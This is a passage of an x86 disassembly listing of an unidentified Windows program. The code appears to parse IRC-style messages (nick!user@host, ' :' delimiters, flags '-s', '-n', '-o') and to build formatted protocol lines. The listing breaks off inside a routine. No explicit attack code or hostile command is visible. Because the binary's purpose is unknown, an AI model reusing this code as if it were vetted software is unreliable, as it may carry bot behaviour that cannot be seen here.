		mov	ecx, dword_4470C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_410650:				; CODE XREF: sub_40FFE0+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4106D2
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4106D7


loc_4106D2:				; CODE XREF: sub_40FFE0+69Bj
		mov	[esp+20h+var_D], 1


loc_4106D7:				; CODE XREF: sub_40FFE0+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410744
		cmp	[ebp+16h], bl
		jnz	short loc_410720
		mov	ecx, offset byte_4473ED
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473A4
		call	sub_4017E4
		mov	edx, dword_4470C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_410720:				; CODE XREF: sub_40FFE0+713j
		mov	ecx, offset byte_4E6E45
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_410744:				; CODE XREF: sub_40FFE0+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_4470D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_4107F5
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_4107DD
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_4107DD:				; CODE XREF: sub_40FFE0+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_4107F5:				; CODE XREF: sub_40FFE0+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_4470D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410830
		mov	al, byte_447804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410834


loc_410830:				; CODE XREF: sub_40FFE0+840j
		mov	[esp+20h+var_D], bl


loc_410834:				; CODE XREF: sub_40FFE0+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B41
		push	offset asc_443C54 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410892
		mov	ecx, eax
		call	sub_402054


loc_410892:				; CODE XREF: sub_40FFE0+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_4108BE
		mov	ecx, eax
		call	sub_4010BE


loc_4108BE:				; CODE XREF: sub_40FFE0+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B2C


loc_41091F:				; CODE XREF: sub_40FFE0+B46j
		push	96h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410947
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410949
; ---------------------------------------------------------------------------


loc_410947:				; CODE XREF: sub_40FFE0+95Aj
		xor	esi, esi


loc_410949:				; CODE XREF: sub_40FFE0+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_41097B
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_41097F
; ---------------------------------------------------------------------------


loc_41097B:				; CODE XREF: sub_40FFE0+98Cj
		mov	[esp+20h+var_C], ebx


loc_41097F:				; CODE XREF: sub_40FFE0+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_4109A2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109A8
; ---------------------------------------------------------------------------


loc_4109A2:				; CODE XREF: sub_40FFE0+9B7j
		mov	[esi+93h], bl


loc_4109A8:				; CODE XREF: sub_40FFE0+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_4109C3
		mov	byte ptr [esi+94h], 1
		jmp	short loc_4109C9
; ---------------------------------------------------------------------------


loc_4109C3:				; CODE XREF: sub_40FFE0+9D8j
		mov	[esi+94h], bl


loc_4109C9:				; CODE XREF: sub_40FFE0+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_4109E4
		mov	byte ptr [esi+95h], 1
		jmp	short loc_4109EA
; ---------------------------------------------------------------------------


loc_4109E4:				; CODE XREF: sub_40FFE0+9F9j
		mov	[esi+95h], bl


loc_4109EA:				; CODE XREF: sub_40FFE0+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F30
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F30
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410AD9
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410AD9:				; CODE XREF: sub_40FFE0+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41091F


loc_410B2C:				; CODE XREF: sub_40FFE0+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_410B41:				; CODE XREF: sub_40FFE0+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410E5B
		push	96h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410BBB
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410BBD
; ---------------------------------------------------------------------------


loc_410BBB:				; CODE XREF: sub_40FFE0+BCEj
		xor	esi, esi


loc_410BBD:				; CODE XREF: sub_40FFE0+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410BEC
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410BEE
; ---------------------------------------------------------------------------


loc_410BEC:				; CODE XREF: sub_40FFE0+BFFj
		xor	edi, edi


loc_410BEE:				; CODE XREF: sub_40FFE0+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410C10
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C16
; ---------------------------------------------------------------------------


loc_410C10:				; CODE XREF: sub_40FFE0+C25j
		mov	[esi+95h], bl


loc_410C16:				; CODE XREF: sub_40FFE0+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410C31
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C37
; ---------------------------------------------------------------------------


loc_410C31:				; CODE XREF: sub_40FFE0+C46j
		mov	[esi+93h], bl


loc_410C37:				; CODE XREF: sub_40FFE0+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410C52
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410C58
; ---------------------------------------------------------------------------


loc_410C52:				; CODE XREF: sub_40FFE0+C67j
		mov	[esi+94h], bl


loc_410C58:				; CODE XREF: sub_40FFE0+C70j
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C48 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C48 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C44 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E2D
		add	eax, 2
		push	eax
		jmp	short loc_410E32
; ---------------------------------------------------------------------------


loc_410E2D:				; CODE XREF: sub_40FFE0+E45j
		push	offset byte_446F30


loc_410E32:				; CODE XREF: sub_40FFE0+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410E4F
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410E4F:				; CODE XREF: sub_40FFE0+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_410E5B:				; CODE XREF: sub_40FFE0+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411030
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C5E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410F22
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410F22:				; CODE XREF: sub_40FFE0+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113A7
		push	offset asc_443C54 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C48 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4473ED
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473A4
		call	sub_4017E4
		mov	edx, dword_4470C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_411030:				; CODE XREF: sub_40FFE0+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4111E8
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C48 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C44 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_4111D3
		push	offset asc_443C44 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111BF
		push	offset byte_446F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111BF
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C5E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41119B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41119B:				; CODE XREF: sub_40FFE0+11A9j
		push	offset byte_4E6E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_4111BF
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E45
		push	edx
		call	sub_401FBE


loc_4111BF:				; CODE XREF: sub_40FFE0+1173j
					; sub_40FFE0+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_4111D3:				; CODE XREF: sub_40FFE0+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113A7
; ---------------------------------------------------------------------------


loc_4111E8:				; CODE XREF: sub_40FFE0+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41126F
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_411274


loc_41126F:				; CODE XREF: sub_40FFE0+1238j
		mov	[esp+20h+var_D], 1


loc_411274:				; CODE XREF: sub_40FFE0+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113A7
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C48 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C5E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113A7
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C48 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C48 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113A7
; ---------------------------------------------------------------------------


loc_4113A0:				; CODE XREF: sub_40FFE0+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_4113A7:				; CODE XREF: sub_40FFE0+1D3j
					; sub_40FFE0+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410022


loc_4113B0:				; CODE XREF: sub_40FFE0+3Cj
					; sub_40FFE0+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FFE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4118E0	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4118E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4118E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_411960:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_411978
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411978:				; CODE XREF: ___:0041196Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411990	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411990	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A10	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
